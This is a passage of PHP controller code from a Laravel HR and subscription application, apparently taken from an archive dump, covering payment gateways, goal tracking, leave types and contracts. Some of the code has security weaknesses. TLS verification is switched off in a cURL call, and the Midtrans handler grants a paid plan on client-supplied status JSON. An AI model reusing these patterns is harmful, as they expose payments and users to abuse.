strtoupper(str_replace('.', '', uniqid('', true))); if ($response_body['code'] == '00') { $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $currency; $order->txn_id = $orderID; $order->payment_type = __('CinetPay'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($request->coupon_code) { $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your Payment has failed!')); } } else { return redirect()->route('plans.index')->with('error', __('Your Payment has failed!')); } } public function planCinetPayNotify(Request $request) { /* 1- Recovery of parameters posted on the URL by CinetPay * https://docs.cinetpay.com/api/1.0-fr/checkout/notification#les-etapes-pour-configurer-lurl-de-notification * */ if (isset($request->cpm_trans_id)) { // Using your transaction identifier, check that the order has not yet been processed $VerifyStatusCmd = "1"; // status value to retrieve from your database if ($VerifyStatusCmd == '00') { //The order has already been processed // Scarred you script die(); } $payment_setting = Utility::getAdminPaymentSetting(); /* 2- Otherwise, we check the status of the transaction in the event of a payment attempt on CinetPay * https://docs.cinetpay.com/api/1.0-fr/checkout/notification#2-verifier-letat-de-la-transaction */ $cinetpay_check = [ "apikey" => $payment_setting['cinetpay_api_key'], "site_id" => $payment_setting['cinetpay_site_id'], "transaction_id" => $request->cpm_trans_id ]; $response = $this->getPayStatus($cinetpay_check); // call query function to retrieve status //We get the response from CinetPay $response_body = json_decode($response, true); if ($response_body['code'] == '00') { /* correct, on délivre le service * https://docs.cinetpay.com/api/1.0-fr/checkout/notification#3-delivrer-un-service*/ echo 'Congratulations, your payment has been successfully completed'; } else { // transaction a échoué echo 'Failure, code:' . $response_body['code'] . ' Description' . $response_body['description'] . ' Message: ' . $response_body['message']; } // Update the transaction in your database /* $order->update(); */ } else { print("cpm_trans_id non found"); } } public function getPayStatus($data) { $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api-checkout.cinetpay.com/v2/payment/check', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 45, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_HTTPHEADER => array( "content-type:application/json" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) return redirect()->route('plans.index')->with('error', __('Something went wrong!')); else return ($response); } } Http/Controllers/GoalTrackingController.php000064400000015056150364306410015124 0ustar00can('Manage Goal Tracking')) { $user = \Auth::user(); if($user->type == 'employee') { $employee = Employee::where('user_id', $user->id)->first(); $goalTrackings = GoalTracking::where('created_by', '=', \Auth::user()->creatorId())->where('branch', $employee->branch_id)->get(); } else { $goalTrackings = GoalTracking::where('created_by', '=', \Auth::user()->creatorId())->with('goalType')->get(); } return view('goaltracking.index', compact('goalTrackings')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Goal Tracking')) { $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $brances->prepend('Select Branch', ''); $goalTypes = GoalType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $goalTypes->prepend('Select Goal Type', ''); return view('goaltracking.create', compact('brances', 'goalTypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(\Auth::user()->can('Create Goal Tracking')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'goal_type' => 'required', 'start_date' => 'required', 'end_date' => 'required|after_or_equal:start_date', 'subject' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $goalTracking = new GoalTracking(); $goalTracking->branch = $request->branch; $goalTracking->goal_type = $request->goal_type; $goalTracking->start_date = $request->start_date; $goalTracking->end_date = $request->end_date; $goalTracking->subject = $request->subject; $goalTracking->target_achievement = $request->target_achievement; $goalTracking->description = $request->description; $goalTracking->created_by = \Auth::user()->creatorId(); $goalTracking->save(); return redirect()->route('goaltracking.index')->with('success', __('Goal tracking successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(GoalTracking $goalTracking) { // } public function edit($id) { if(\Auth::user()->can('Edit Goal Tracking')) { $goalTracking = GoalTracking::find($id); $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $brances->prepend('Select Branch', ''); $goalTypes = GoalType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $goalTypes->prepend('Select Goal Type', ''); $status = GoalTracking::$status; return view('goaltracking.edit', compact('brances', 'goalTypes', 'goalTracking', 'status')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if(\Auth::user()->can('Edit Goal Tracking')) { $goalTracking = GoalTracking::find($id); $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'goal_type' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'subject' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $goalTracking->branch = $request->branch; $goalTracking->goal_type = $request->goal_type; $goalTracking->start_date = $request->start_date; $goalTracking->end_date = $request->end_date; $goalTracking->subject = $request->subject; $goalTracking->target_achievement = $request->target_achievement; $goalTracking->status = $request->status; $goalTracking->progress = $request->progress; $goalTracking->description = $request->description; $goalTracking->rating = $request->rating; $goalTracking->save(); return redirect()->route('goaltracking.index')->with('success', __('Goal tracking successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if(\Auth::user()->can('Delete Goal Tracking')) { $goalTracking = GoalTracking::find($id); if($goalTracking->created_by == \Auth::user()->creatorId()) { $goalTracking->delete(); return redirect()->route('goaltracking.index')->with('success', __('GoalTracking successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/Controller.php000064400000000551150364306410012630 0ustar00type == 'super admin' || \Auth::user()->type == 'company') { if($id != null) { $notification_template = NotificationTemplates::where('id',$id)->first(); } else { $notification_template = NotificationTemplates::first(); } if(empty($notification_template)) { return redirect()->back()->with('error', __('Not exists in notification template.')); } $languages = Utility::languages(); $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', $lang)->where('created_by', '=', \Auth::user()->creatorId())->first(); if(!isset($curr_noti_tempLang) || empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', $lang)->first(); } if(!isset($curr_noti_tempLang) || empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', 'en')->first(); !empty($curr_noti_tempLang) ? $curr_noti_tempLang->lang = $lang : null; } $notification_templates = NotificationTemplates::all(); return view('notification-templates.index', compact('notification_template','notification_templates','curr_noti_tempLang','languages')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request,$id) { $validator = \Validator::make( $request->all(), [ 'content' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $NotiLangTemplate = NotificationTemplateLangs::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->where('created_by', '=', \Auth::user()->creatorId())->first(); // $NotiLangTemplate = NotificationTemplateLangs::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->first(); // if record not found then create new record else update it. if(empty($NotiLangTemplate)) { $variables = NotificationTemplateLangs::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->first()->variables; $NotiLangTemplate = new NotificationTemplateLangs(); $NotiLangTemplate->parent_id = $id; $NotiLangTemplate->lang = $request['lang']; $NotiLangTemplate->content = $request['content']; $NotiLangTemplate->variables = $variables; $NotiLangTemplate->created_by = \Auth::user()->creatorId(); $NotiLangTemplate->save(); } else { $NotiLangTemplate->content = $request['content']; $NotiLangTemplate->save(); } return redirect()->route( 'notification-templates.index', [ $id, $request->lang, ] )->with('success', __('Notification Template successfully updated.')); } public function show(){ return redirect()->back(); } } Http/Controllers/YooKassaController.php000064400000024346150364306410014312 0ustar00plan_id); $authuser = Auth::user(); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($get_amount <= 0) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = auth()->user(); $statuses = 'Succeeded'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $get_amount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('YooKassa'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } try { if (is_int((int)$yookassa_shop_id)) { $client = new Client(); $client->setAuth((int)$yookassa_shop_id, $yookassa_secret_key); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $product = !empty($plan->name) ? $plan->name : 'Life time'; $payment = $client->createPayment( array( 'amount' => array( 'value' => $get_amount, 'currency' => $currency, ), 'confirmation' => array( 'type' => 'redirect', 'return_url' => route('plan.get.yookassa.status', [$plan->id, 'order_id' => $orderID, 'price' => $get_amount]), ), 'capture' => true, 'description' => 'Заказ №1', ), uniqid('', true) ); $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { Log::debug($exception->getMessage()); } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('YooKassa'), 'payment_status' => 'pending', 'receipt' => null, 'user_id' => $authuser->id, ] ); Session::put('payment_id', $payment['id']); if ($payment['confirmation']['confirmation_url'] != null) { return redirect($payment['confirmation']['confirmation_url']); } else { return redirect()->route('plans.index')->with('error', 'Something went wrong, Please try again'); } // return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } else { return redirect()->back()->with('error', 'Please Enter Valid Shop Id Key'); } } catch (\Throwable $th) { return redirect()->back()->with('error', 'Incorrect currency of payment.'); } } } public function planGetYooKassaStatus(Request $request, $planId) { $payment_setting = Utility::getAdminPaymentSetting(); $yookassa_shop_id = $payment_setting['yookassa_shop_id']; $yookassa_secret_key = $payment_setting['yookassa_secret']; $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : 'USD'; if (is_int((int)$yookassa_shop_id)) { $client = new Client(); $client->setAuth((int)$yookassa_shop_id, $yookassa_secret_key); $paymentId = Session::get('payment_id'); Session::forget('payment_id'); if ($paymentId == null) { return redirect()->back()->with('error', __('Transaction Unsuccesfull')); } $payment = $client->getPaymentInfo($paymentId); if (isset($payment) && $payment->status == "succeeded") { $plan = Plan::find($planId); $user = auth()->user(); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); Utility::referralTransaction($plan); try { $Order = Order::where('order_id', $request->order_id)->first(); $Order->payment_status = 'succeeded'; $Order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } else { return redirect()->back()->with('error', 'Please Enter Valid Shop Id Key'); } } } } Http/Controllers/LeaveTypeController.php000064400000011106150364306410014445 0ustar00can('Manage Leave Type')) { $leavetypes = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('leavetype.index', compact('leavetypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Leave Type')) { return view('leavetype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Leave Type')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'days' => 'required|gt:0', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $leavetype = new LeaveType(); $leavetype->title = $request->title; $leavetype->days = $request->days; $leavetype->created_by = \Auth::user()->creatorId(); $leavetype->save(); return redirect()->route('leavetype.index')->with('success', __('LeaveType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(LeaveType $leavetype) { return redirect()->route('leavetype.index'); } public function edit(LeaveType $leavetype) { if(\Auth::user()->can('Edit Leave Type')) { if($leavetype->created_by == \Auth::user()->creatorId()) { return view('leavetype.edit', compact('leavetype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, LeaveType $leavetype) { if(\Auth::user()->can('Edit Leave Type')) { if($leavetype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'days' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $leavetype->title = $request->title; $leavetype->days = $request->days; $leavetype->save(); return redirect()->route('leavetype.index')->with('success', __('LeaveType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LeaveType $leavetype) { if(\Auth::user()->can('Delete Leave Type')) { if($leavetype->created_by == \Auth::user()->creatorId()) { $leave = Leave::where('leave_type_id',$leavetype->id)->get(); if(count($leave) == 0) { $leavetype->delete(); } else { return redirect()->route('leavetype.index')->with('error', __('This leavetype has leave. Please remove the leave from this leavetype.')); } return redirect()->route('leavetype.index')->with('success', __('LeaveType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/MidtransController.php000064400000020633150364306410014335 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if ($plan) { $get_amount = round($plan->price); if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = Auth::user()->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($get_amount <= 0) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = auth()->user(); $statuses = 'Succeeded'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $get_amount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Midtrans'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } // Set your Merchant Server Key \Midtrans\Config::$serverKey = $midtrans_secret; // Set to Development/Sandbox Environment (default). Set to true for Production Environment (accept real transaction). if ($mode == 'sandbox') { \Midtrans\Config::$isProduction = false; } else { \Midtrans\Config::$isProduction = true; } // Set sanitization on (default) \Midtrans\Config::$isSanitized = true; // Set 3DS transaction for credit card to true \Midtrans\Config::$is3ds = true; $params = array( 'transaction_details' => array( 'order_id' => $orderID, 'gross_amount' => str_replace(",", "", number_format($get_amount)), ), 'customer_details' => array( 'first_name' => Auth::user()->name, 'last_name' => '', 'email' => Auth::user()->email, 'phone' => '8787878787', ), ); $snapToken = \Midtrans\Snap::getSnapToken($params); $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Midtrans'), 'payment_status' => 'pending', 'receipt' => null, 'user_id' => $authuser->id, ] ); $data = [ 'snap_token' => $snapToken, 'midtrans_secret' => $midtrans_secret, 'midtrans_mode' => $mode, 'order_id' => $orderID, 'plan_id' => $plan->id, 'amount' => $get_amount, 'fallback_url' => 'plan.get.midtrans.status' ]; return view('midtras.payment', compact('data')); } } public function planGetMidtransStatus(Request $request) { $response = json_decode($request->json, true); if (isset($response['status_code']) && $response['status_code'] == 200) { $plan = Plan::find($request['plan_id']); $user = auth()->user(); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); try { Utility::referralTransaction($plan); $Order = Order::where('order_id', $request['order_id'])->first(); $Order->payment_status = 'succeeded'; $Order->save(); $assignPlan = $user->assignPlan($plan->id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } else { return redirect()->back()->with('error', $response['status_message']); } } } Http/Controllers/ContractController.php000064400000064706150364306410014342 0ustar00middleware( [ 'auth', ] ); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (\Auth::user()->can('Manage Contract')) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $contracts = Contract::where('created_by', '=', \Auth::user()->creatorId())->with(['employee', 'contract_type'])->get(); $curr_month = Contract::where('created_by', '=', \Auth::user()->creatorId())->whereMonth('start_date', '=', date('m'))->get(); $curr_week = Contract::where('created_by', '=', \Auth::user()->creatorId())->whereBetween( 'start_date', [ \Carbon\Carbon::now()->startOfWeek(), \Carbon\Carbon::now()->endOfWeek(), ] )->get(); $last_30days = Contract::where('created_by', '=', \Auth::user()->creatorId())->whereDate('start_date', '>', \Carbon\Carbon::now()->subDays(30))->get(); // Contracts Summary $cnt_contract = []; $cnt_contract['total'] = \App\Models\Contract::getContractSummary($contracts); $cnt_contract['this_month'] = \App\Models\Contract::getContractSummary($curr_month); $cnt_contract['this_week'] = \App\Models\Contract::getContractSummary($curr_week); $cnt_contract['last_30days'] = \App\Models\Contract::getContractSummary($last_30days); return view('contracts.index', compact('contracts', 'cnt_contract')); } elseif (\Auth::user()->type == 'employee') { $contracts = Contract::where('employee_name', '=', \Auth::user()->id)->get(); $curr_month = Contract::where('employee_name', '=', \Auth::user()->id)->whereMonth('start_date', '=', date('m'))->get(); $curr_week = Contract::where('employee_name', '=', \Auth::user()->id)->whereBetween( 'start_date', [ \Carbon\Carbon::now()->startOfWeek(), \Carbon\Carbon::now()->endOfWeek(), ] )->get(); $last_30days = Contract::where('created_by', '=', \Auth::user()->creatorId())->whereDate('start_date', '>', \Carbon\Carbon::now()->subDays(30))->get(); // Contracts Summary $cnt_contract = []; $cnt_contract['total'] = \App\Models\Contract::getContractSummary($contracts); $cnt_contract['this_month'] = \App\Models\Contract::getContractSummary($curr_month); $cnt_contract['this_week'] = \App\Models\Contract::getContractSummary($curr_week); $cnt_contract['last_30days'] = \App\Models\Contract::getContractSummary($last_30days); return view('contracts.index', compact('contracts', 'cnt_contract')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (\Auth::user()->can('Create Contract')) { // $employee = User::where('type', '=', 'employee')->get()->pluck('name', 'id'); $employee = User::where('type', '=', 'employee')->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $contractType = ContractType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('contracts.create', compact('contractType', 'employee')); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * * @return \Illuminate\Http\Response */ public function store(Request $request) { if (\Auth::user()->can('Create Contract')) { $validator = \Validator::make( $request->all(), [ // 'name' => 'required|max:20', 'subject' => 'required', 'value' => 'required', 'type' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->route('contract.index')->with('error', $messages->first()); } $date = explode(' to ', $request->date); $contract = new Contract(); $contract->employee_name = $request->employee_name; $contract->subject = $request->subject; $contract->value = $request->value; $contract->type = $request->type; $contract->start_date = $request->start_date; $contract->end_date = $request->end_date; $contract->description = $request->description; $contract->created_by = \Auth::user()->creatorId(); $contract->save(); $settings = Utility::settings(\Auth::user()->creatorId()); if (isset($settings['contract_notification']) && $settings['contract_notification'] == 1) { // $msg = 'New Invoice ' . \Auth::user()->contractNumberFormat($this->contractNumber()) . ' created by ' . \Auth::user()->name . '.'; $uArr = [ 'contract_number' => \Auth::user()->contractNumberFormat($this->contractNumber()), 'contract_company_name' => \Auth::user()->name, ]; Utility::send_slack_msg('contract_notification', $uArr); } if (isset($settings['telegram_contract_notification']) && $settings['telegram_contract_notification'] == 1) { // $resp = 'New Invoice ' . Auth::user()->contractNumberFormat($this->contractNumber()) . ' created by ' . \Auth::user()->name . '.'; $uArr = [ 'contract_number' => \Auth::user()->contractNumberFormat($this->contractNumber()), 'contract_company_name' => \Auth::user()->name, ]; Utility::send_telegram_msg('contract_notification', $uArr); } return redirect()->route('contract.index')->with('success', __('Contract successfully created!')); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } function contractNumber() { $latest = Contract::where('created_by', '=', \Auth::user()->creatorId())->latest()->first(); if (!$latest) { return 1; } return $latest->id + 1; } /** * Display the specified resource. * * @param \App\Contract $contract * * @return \Illuminate\Http\Response */ public function show($id) { // dd($id); try { $id = \Illuminate\Support\Facades\Crypt::decrypt($id); } catch (\RuntimeException $e) { return redirect()->back()->with('error', __('Contract not avaliable')); } $contract = Contract::find($id); // return redirect()->route('contract.show'); if ($contract->created_by == \Auth::user()->creatorId()) { $employee = $contract->employee; return view('contracts.show', compact('contract', 'employee')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Show the form for editing the specified resource. * * @param \App\Contract $contract * * @return \Illuminate\Http\Response */ public function edit(Contract $contract) { if (\Auth::user()->can('Edit Contract')) { if ($contract->created_by == \Auth::user()->creatorId()) { $employee = User::where('type', '=', 'employee')->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $contractType = ContractType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('contracts.edit', compact('contract', 'contractType', 'employee')); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } else { return response()->json(['error' => __('Permission Denied.')], 401); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Contract $contract * * @return \Illuminate\Http\Response */ public function update(Request $request, Contract $contract) { if (\Auth::user()->can('Edit Contract')) { if ($contract->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ // 'name' => 'required|max:20', 'subject' => 'required', 'value' => 'required', 'type' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->route('contract.index')->with('error', $messages->first()); } $date = explode(' to ', $request->date); $contract->employee_name = $request->employee_name; $contract->subject = $request->subject; $contract->value = $request->value; $contract->type = $request->type; $contract->start_date = $request->start_date; $contract->end_date = $request->end_date; $contract->description = $request->description; $contract->save(); return redirect()->route('contract.index')->with('success', __('Contract successfully updated!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Remove the specified resource from storage. * * @param \App\Contract $contract * * @return \Illuminate\Http\Response */ public function destroy($id) { if (\Auth::user()->can('Delete Contract')) { $contract = Contract::find($id); if ($contract->created_by == \Auth::user()->creatorId()) { $attechments = $contract->ContractAttechment()->get()->each; foreach ($attechments->items as $attechment) { if (\Storage::exists('contract_attechment/' . $attechment->files)) { unlink('storage/contract_attechment/' . $attechment->files); } $attechment->delete(); } $contract->ContractComment()->get()->each->delete(); $contract->ContractNote()->get()->each->delete(); $contract->delete(); return redirect()->route('contract.index')->with('success', __('Contract successfully deleted!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function descriptionStore($id, Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $contract = Contract::find($id); $contract->contract_description = $request->contract_description; $contract->save(); return redirect()->back()->with('success', __('Description successfully saved.')); } else { return redirect()->back()->with('error', __('Permission denied')); } } public function fileUpload($id, Request $request) { $contract = Contract::find($id); if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $request->validate(['file' => 'required']); $dir = 'contract_attechment/'; $files = $request->file->getClientOriginalName(); $path = Utility::upload_file($request, 'file', $files, $dir, []); if ($path['flag'] == 1) { $file = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } $file = ContractAttechment::create( [ 'contract_id' => $request->contract_id, 'user_id' => \Auth::user()->id, 'files' => $files, ] ); $return = []; $return['is_success'] = true; $return['download'] = route( 'contracts.file.download', [ $contract->id, $file->id, ] ); $return['delete'] = route( 'contracts.file.delete', [ $contract->id, $file->id, ] ); return response()->json($return); } elseif (\Auth::user()->type == 'employee' && $contract->status == 'accept') { $request->validate(['file' => 'required']); $dir = 'contract_attechment/'; $files = $request->file->getClientOriginalName(); $path = Utility::upload_file($request, 'file', $files, $dir, []); if ($path['flag'] == 1) { $file = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } $file = ContractAttechment::create( [ 'contract_id' => $request->contract_id, 'user_id' => \Auth::user()->id, 'files' => $files, ] ); $return = []; $return['is_success'] = true; $return['download'] = route( 'contracts.file.download', [ $contract->id, $file->id, ] ); $return['delete'] = route( 'contracts.file.delete', [ $contract->id, $file->id, ] ); return response()->json($return); } else { return response()->json( [ 'is_success' => false, 'error' => __('Permission Denied.'), ], 401 ); } } public function fileDownload($id, $file_id) { $contract = Contract::find($id); if ($contract->created_by == \Auth::user()->creatorId()) { $file = ContractAttechment::find($file_id); if ($file) { $file_path = storage_path('contract_attechment/' . $file->files); // $files = 